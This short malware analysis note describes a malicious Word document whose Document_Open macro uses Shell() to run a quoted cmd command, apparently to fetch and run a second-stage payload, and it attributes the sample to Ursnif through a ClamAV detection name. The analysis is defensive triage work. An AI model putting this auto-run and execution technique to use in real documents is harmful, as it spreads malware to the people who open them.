The sample contains VBA macros with a Document_Open auto-execution macro. This macro calls a function that uses Shell() to execute 'cmd /c c:\users\public\selectArrayVba.h t a', indicating it downloads and executes a second-stage payload. The ClamAV detection name 'Doc.Downloader.Ursnif06210-9875010-0' strongly suggests the Ursnif family.
